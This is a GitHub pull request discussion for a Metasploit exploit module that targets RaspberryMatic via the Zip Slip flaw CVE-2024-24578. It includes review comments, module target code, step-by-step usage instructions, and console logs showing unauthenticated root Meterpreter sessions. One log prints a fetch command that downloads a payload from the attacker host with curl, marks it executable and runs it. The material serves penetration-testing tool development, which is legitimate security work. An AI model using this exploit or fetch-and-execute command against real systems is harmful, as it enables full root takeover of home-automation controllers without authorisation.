RaspberryMatic unauthenticated RCE (Zip Slip) [CVE-2024-24578] #19841
Conversation
modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb
Outdated
Show resolved
Hide resolved
There was a problem hiding this comment.
Thanks for the module @h00die-gr3y! A couple minor comments.
Unix/Linux Command
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.16.199.130:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.73.9
[*] Executing Unix/Linux Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Uploading kepZcpSUM.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Sending stage (3045380 bytes) to 172.16.199.130
[*] Restoring original watchdog script.
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.130:33108) at 2025-01-29 09:50:01 -0800
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.16.199.130
OS : (Linux 6.1.74)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > uname -a
Linux Dropper (x86_64 support)
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 172.16.199.130:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.73.9
[*] Executing Linux Dropper (x86_64 support) for linux/x64/meterpreter_reverse_tcp
[*] Using URL: http://172.16.199.1:9395/fC2svtyRxTWQpq
[*] Uploading e06DNUvZ.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Command Stager progress - 100.00% done (119/119 bytes)
[*] Client 172.16.199.130 (Wget/1.21.4) requested /fC2svtyRxTWQpq
[*] Sending payload to 172.16.199.130 (Wget/1.21.4)
[*] Restoring original watchdog script.
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.130:56004) at 2025-01-29 10:05:01 -0800
[*] Server stopped.
meterpreter > getuid
Server username: root
meterpreter > sysinfo
Computer : 172.16.199.130
OS : (Linux 6.1.74)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter >
modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb
Outdated
Show resolved
Hide resolved
modules/exploits/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.rb
Outdated
Show resolved
Hide resolved
documentation/modules/exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578.md
Outdated
Show resolved
Hide resolved
| ], | ||
| [ | ||
| 'Linux Dropper (ARM support)', | ||
| { | ||
| 'Platform' => ['linux'], | ||
| 'Arch' => [ARCH_AARCH64, ARCH_ARMLE], | ||
| 'Type' => :linux_dropper, | ||
| 'CmdStagerFlavor' => ['wget', 'curl'], | ||
| 'DefaultOptions' => { | ||
| 'PAYLOAD' => 'linux/aarch64/meterpreter_reverse_tcp' | ||
| } | ||
| } | ||
| ], | ||
| [ | ||
| 'Linux Dropper (x86_64 support)', | ||
| { | ||
| 'Platform' => ['linux'], | ||
| 'Arch' => [ARCH_X64], | ||
| 'Type' => :linux_dropper, | ||
| 'CmdStagerFlavor' => ['wget', 'curl'], | ||
| 'DefaultOptions' => { | ||
| 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' | ||
| } | ||
| } | ||
| ] |
There was a problem hiding this comment.
This PR prompted a discussion about our fetch payload support for different architectures. @bwatters-r7 has graciously added support for aarch64, armbe, armle, mipsbe, mipsle, ppc, ppc64 in the following PR: #19850
This will allow us to remove the multiple targets for each architecture and allow us to support exploiting all these different architectures with just ARCH_CMD.
This marks a great milestone in our effort to transition from using command stagers in favour for fetch payloads when possible.
| ], | |
| [ | |
| 'Linux Dropper (ARM support)', | |
| { | |
| 'Platform' => ['linux'], | |
| 'Arch' => [ARCH_AARCH64, ARCH_ARMLE], | |
| 'Type' => :linux_dropper, | |
| 'CmdStagerFlavor' => ['wget', 'curl'], | |
| 'DefaultOptions' => { | |
| 'PAYLOAD' => 'linux/aarch64/meterpreter_reverse_tcp' | |
| } | |
| } | |
| ], | |
| [ | |
| 'Linux Dropper (x86_64 support)', | |
| { | |
| 'Platform' => ['linux'], | |
| 'Arch' => [ARCH_X64], | |
| 'Type' => :linux_dropper, | |
| 'CmdStagerFlavor' => ['wget', 'curl'], | |
| 'DefaultOptions' => { | |
| 'PAYLOAD' => 'linux/x64/meterpreter_reverse_tcp' | |
| } | |
| } | |
| ] | |
| ] |
There was a problem hiding this comment.
Cool! Nice addition.
I removed the Linux Dropper code as suggested and tested the module with the aarch64 payload.
This works fine for the non-staged payload cmd/linux/http/aarch64/meterpreter_reverse_tcp, however the staged payload cmd/linux/http/aarch64/meterpreter/reverse_tcp does not work. It throws an illegal instruction when I run the binary on my raspberry PI model 4. I have seen these issues before with staged payloads, and not only on aarch64, but also on armle and mipsle architectures.
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter/reverse_tcp
payload => cmd/linux/http/aarch64/meterpreter/reverse_tcp
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > rexploit
[*] Reloading module...
[*] Started reverse TCP handler on 192.168.201.8:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 192.168.201.10:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.65.8
[*] Executing Unix/Linux Command for cmd/linux/http/aarch64/meterpreter/reverse_tcp
[*] Uploading pQj6HNVND.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Transmitting intermediate midstager...(256 bytes)
[*] Sending stage (953388 bytes) to 192.168.201.10
^C[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) >
root@homematic-raspi:/tmp# file DYGMmkBVmWeV
DYGMmkBVmWeV: ELF 64-bit LSB executable, ARM aarch64, invalid version (SYSV), statically linked, no section header
root@homematic-raspi:/tmp# ./DYGMmkBVmWeV
Illegal instruction
root@homematic-raspi:/tmp#
There was a problem hiding this comment.
Thanks so much for making those changes and testing with the aarch64 fetch payload @h00die-gr3y!
I don't think the failing staged payloads will be a blocker for this PR, however I'll double check with the team.
When using fetch payloads we now encourage the use of the non-staged payload.
Stagers (as I'm sure you may be aware) are a small stub designed to create some form of communication and then pass execution to the next stage. Using a stager (before fetch payloads) allowed us to use a small payload initially to load up a larger payload with more functionality.
With fetch payloads, the initial curl, wget or certutil command acts as stager, so to speak, so and combining that with a second stager is no longer provides the same benefit it used to.
There was a problem hiding this comment.
@jheysel-r7, you are most welcome.
On your point of using staged and non-staged payloads, I still see a big benefit of using staged payloads where targets that have a very small OS footprint. You typically see them in IoT devices, but in this case it is indeed not relevant because there are no limitations in the OS footprint used by RaspberryMatic.
There was a problem hiding this comment.
I need to finish up the ESC8 updates, but I have an RPi4B here, so I might be able to mock up the environment for testing. When I read about the problems, my first thought was back to this PR: #16570, but that was a segfault.
Curious now if maybe we're not getting alignment right. It would be super helpful to figure out what/where the illegal instruction is. The RPi 4B is ARMv8, so I think we should support that.
There was a problem hiding this comment.
I need to finish up the ESC8 updates, but I have an RPi4B here, so I might be able to mock up the environment for testing. When I read about the problems, my first thought was back to this PR: #16570, but that was a segfault. Curious now if maybe we're not getting alignment right. It would be super helpful to figure out what/where the illegal instruction is. The RPi 4B is ARMv8, so I think we should support that.
@bwatters-r7 tried to debug with gdb to find the root cause of the Illegal instruction, but there is no debug information available, so it is hard to find the actual instructions causing this SIGILL.
(gdb) info program
Last stopped for thread 1 (process 178478).
Using the running image of child process 178478.
Program stopped at 0x7ff7ffc040.
It stopped with signal SIGILL, Illegal instruction.
Type "info stack" or "info registers" for more information.
(gdb) info stack
#0 0x0000007ff7ffc040 in ?? ()
Backtrace stopped: not enough registers or memory available to unwind further
(gdb) info register
x0 0x7ff7f13000 549620625408
x1 0xe9000 954368
x2 0x7 7
x3 0x7ff7f13000 549620625408
x4 0xe8c2c 953388
x5 0x0 0
x6 0x0 0
x7 0x0 0
x8 0xde 222
x9 0x0 0
x10 0xe8c2c 953388
x11 0x0 0
x12 0x3 3
x13 0x0 0
x14 0x0 0
x15 0x0 0
x16 0x0 0
x17 0x0 0
x18 0x0 0
x19 0x0 0
x20 0x0 0
x21 0x0 0
x22 0x0 0
--Type <RET> for more, q to quit, c to continue without paging--
x23 0x0 0
x24 0x0 0
x25 0x0 0
x26 0x0 0
x27 0x0 0
x28 0x0 0
x29 0x0 0
x30 0x400138 4194616
sp 0x7ffffff160 0x7ffffff160
pc 0x7ff7ffc040 0x7ff7ffc040
cpsr 0x60000000 [ EL=0 BTYPE=0 C Z ]
fpsr 0x0 [ ]
fpcr 0x0 [ Len=0 Stride=0 RMode=0 ]
tpidr 0x0 0x0
(gdb) info symbol
Argument required (address).
(gdb) info symbol 0x7ff7ffc040
No symbol matches 0x7ff7ffc040.
(gdb) info symbol 0x0000007ff7ffc040
No symbol matches 0x0000007ff7ffc040.
(gdb) exit
There was a problem hiding this comment.
I created a target with a Raspi 4B, and I can't get either payload to work:
EDIT: If this is based on ubuntu, it is probably because I used cURL as the command. I'll retry later with wget.
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > show options
Module options (exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS 10.5.132.153 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-met
asploit.html
RPORT 443 yes The target port (TCP)
SSL true no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The RaspberryMatic endpoint URL
VHOST no HTTP server virtual host
Payload options (cmd/linux/http/aarch64/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
FETCH_COMMAND CURL yes Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
FETCH_DELETE false yes Attempt to delete the binary after execution
FETCH_FILENAME IcybWqWwNA no Name to use on remote system when storing payload; cannot contain spaces or slash
es
FETCH_SRVHOST no Local IP to use for serving payload
FETCH_SRVPORT 8080 yes Local port to use for serving payload
FETCH_URIPATH no Local URI to use for serving payload
FETCH_WRITABLE_DIR yes Remote writable dir to store payload; cannot contain spaces
LHOST 10.5.135.201 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Unix/Linux Command
View the full module info with the info, or info -d command.
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set verbose true
verbose => true
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > run
[*] Command to run on remote host: curl -so ./tLOeeXVkQXNT http://10.5.135.201:8080/H9j5kAD7lA3sat5rSCkitw;chmod +x ./tLOeeXVkQXNT;./tLOeeXVkQXNT&
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /H9j5kAD7lA3sat5rSCkitw
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.5.132.153:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.65.8
[*] Executing Unix/Linux Command for cmd/linux/http/aarch64/meterpreter/reverse_tcp
[*] Uploading VFsOgwaztC.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > set payload cmd/linux/http/aarch64/meterpreter_reverse_tcp
payload => cmd/linux/http/aarch64/meterpreter_reverse_tcp
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) > run
[*] Command to run on remote host: curl -so ./ursKuIehEn http://10.5.135.201:8080/HNZQaXlH7YYR8gXBZ4kmSQ;chmod +x ./ursKuIehEn;./ursKuIehEn&
[*] Fetch handler listening on 10.5.135.201:8080
[*] HTTP server started
[*] Adding resource /HNZQaXlH7YYR8gXBZ4kmSQ
[*] Started reverse TCP handler on 10.5.135.201:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[*] Checking if 10.5.132.153:443 can be exploited.
[+] The target appears to be vulnerable. RaspberryMatic 3.65.8
[*] Executing Unix/Linux Command for cmd/linux/http/aarch64/meterpreter_reverse_tcp
[*] Uploading V3b0X1tbZO.tgz
[*] Waiting 5 minutes for watchdog execution via cron to trigger the RCE.
[*] Exploit completed, but no session was created.
msf6 exploit(linux/http/raspberrymatic_unauth_rce_cve_2024_24578) >
There was a problem hiding this comment.
I tried on my rpi4b (armv8) and it seems like I didn't crash it. From testing it seems like it's trying to connect, however, I was testing on RPI Debian, I'll try on RaspberryMatic to see if I can reproduce the crash and examine it.
There was a problem hiding this comment.
Yep, same here for the staged payloads. The payload fails with an illegal instruction.
One tip is to compile the staged payload with debug info, so you can check where it fails.
However the stageless payload cmd/linux/http/aarch64/meterpreter_reverse_tcp works fine on my RaspberryMatic PI4 installation. I use curl but wget also works. Both are installed on the image.
One payload setting that can cause this issue is that you need to set the FETCH_WRITABLE_DIR to /tmp because the root filesystem is mounted read-only on the image.
root@homematic-raspi:/tmp# mount
/dev/root on / type ext4 (ro,relatime)
devtmpfs on /dev type devtmpfs (rw,relatime,size=1931320k,nr_inodes=482830,mode=755)
proc on /proc type proc (rw,relatime)
sysfs on /sys type sysfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime)
devpts on /dev/pts type devpts (rw,relatime,gid=5,mode=620,ptmxmode=000)
tmpfs on /dev/shm type tmpfs (rw,relatime,mode=777)
tmpfs on /run type tmpfs (rw,nosuid,nodev,noatime,mode=755)
tmpfs on /var type tmpfs (rw,noatime,size=1965820k)
tmpfs on /media type tmpfs (rw,noatime)
/dev/mmcblk0p3 on /usr/local type ext4 (rw,noatime,nodiratime)
/dev/mmcblk0p1 on /boot type vfat (ro,relatime,fmask=0022,dmask=0022,codepage=437,iocharset=iso8859-1,shortname=mixed,errors=remount-ro)
There was a problem hiding this comment.
I will preset this setting in the module to avoid these kind of issues.
|
Co-authored-by: jheysel-r7 <[email protected]> Co-authored-by: Julien Voisin <[email protected]>
bwatters-r7
force-pushed
the
raspberrymatic-unauth-rce
branch
from
869b583 to
d47559e
Compare
|
Rebased to fix acceptance testing errors |
|
Oh heck; this has #19850 in it.... |
RaspberryMatic / OCCU contains a unauthenticated remote code execution (RCE) vulnerability, caused by multiple issues within the Java based HMIPServer.jar component. The webui allows for Firmware uploads which can be reached through the URL
/pages/jpages/system/DeviceFirmware/addFirmware.This allows an unauthenticated attacker to upload a malicious .tgz archive to the server, which will be automatically extracted without any further checks. As this entry can contain ../sequences, it is possible to break out of the predefined temp directory and write files to other locations outside this path.
This vulnerability is commonly known as the Zip Slip vulnerability and can be used to overwrite arbitrary files on the main filesystem. It is therefore possible to overwrite the watchdog script with a malicious payload in
/usr/local/addons/mediola/bin/, which will be executed every five minutes through acronjob where attackers can gain remote code execution as root user, allowing a full system compromise.RaspberryMatic versions <=
3.73.9.20240130are vulnerable.The following releases were tested.
RaspberryMatic Releases:
Installation steps to install RaspberryMatic OVA image
webui.webuiviahttp://your_ip/.You are now ready to test the module.
Verification Steps
msfconsoleuse exploit/linux/http/raspberrymatic_unauth_rce_cve_2024_24578set rhosts <ip-target>set rport <port>set lhost <attacker-ip>set target <0=Unix/Linux Command>exploitreverse shellorMeterpretersession depending on thepayloadandtargetsettingsOptions
No specific options defined.
Scenarios
RaspberryMatic OVA appliance - Unix/Linux Command x64 target
RaspberryMatic Pi4 Model B compute board - Linux Dropper Command aarch64 target
Limitations
You have to wait maximum five minutes for a session to allow
cronto run the maliciouswatchdogscript containing the payload. Just be patient and wait for the magic to happen ;-)